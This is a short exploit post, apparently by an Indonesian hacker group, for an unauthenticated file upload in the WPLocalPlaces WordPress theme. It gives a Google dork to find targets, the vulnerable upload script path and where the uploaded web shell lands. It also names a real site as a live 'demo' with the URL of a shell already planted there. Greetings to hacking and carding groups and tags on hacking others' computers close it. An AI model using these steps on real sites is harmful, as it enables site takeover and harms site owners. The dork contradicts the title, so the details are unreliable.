Wordpress Themes WPLocalPlaces Upload Vulnerability

INDO-PENDENT HACKER
http://thecrowscrew.org
#################################################################################################
Exploit Title  : Wordpress Themes WPLocalPlaces Upload Vulnerability
Google Dork    : inurl:"/wp-content/plugins/spotlightyour/"
Locations      : Banjarmasin, Indonesia
Author         : ovanIsmycode
Contact        : ovanismycode@yahoo.com
Software Link  : http://freelancewp.com/wordpress-theme/wp-local-places/
#################################################################################################

[+] POC

Exp. Target :
- http://domain.com/wp-content/themes/WPLocalPlaces/

Exploit :
- /monetize/upload/index.php

Shell Access :
- http://domain.com/wp-content/uploads/[year]/[month]/[search your shell].php


[+]Demo

Live Target :
http://southbayautopros.com/wp-content/themes/WPLocalPlaces/monetize/upload/index.php
see it http://i.imgur.com/3NsmWdt.jpg

Shell Access :
http://southbayautopros.com/wp-content/uploads/2013/10/13820893341435692459.php
see it http://i.imgur.com/4e8hHzA.jpg
 
#################################################################################################
 
Spec!4L th4nk'5 to :
MsconfiX, Catalyst71, Gabby, din_muh, don_ojan, DendyIsMe, kit4r0, 777r, ph_ovtl4w, adecakep7,
penjamoen, N035, -=[The Crows Crew]=-, Indonesian Hacker

thecrowscrew.org, hacker-newbie.org, yogyacarderlink.web.id, devilzc0de.org

Tags : Cara untuk Meretas sebuah Komputer,trick Hack Komputer Super Jail,Cara Mematikan Komputer Orang Lain,Cara Mengendalikan Komputer Jarak Jauh,Cara Meretas Komputer Orang Lain,Cara Hack Komputer Orang Lain,Cara Meretas Komputer Orang dari Jarak Jauh,Cara memantau Komputer lain dengan Command Prompt,Cara hack komputer remote menggunakan IP,Trik Hack Komputer yang Sangat Berbahaya,Dasar-dasar Meretas,Dasar-dasar Hack,

Share this article please, on :

Share on fb Tweet Share on G+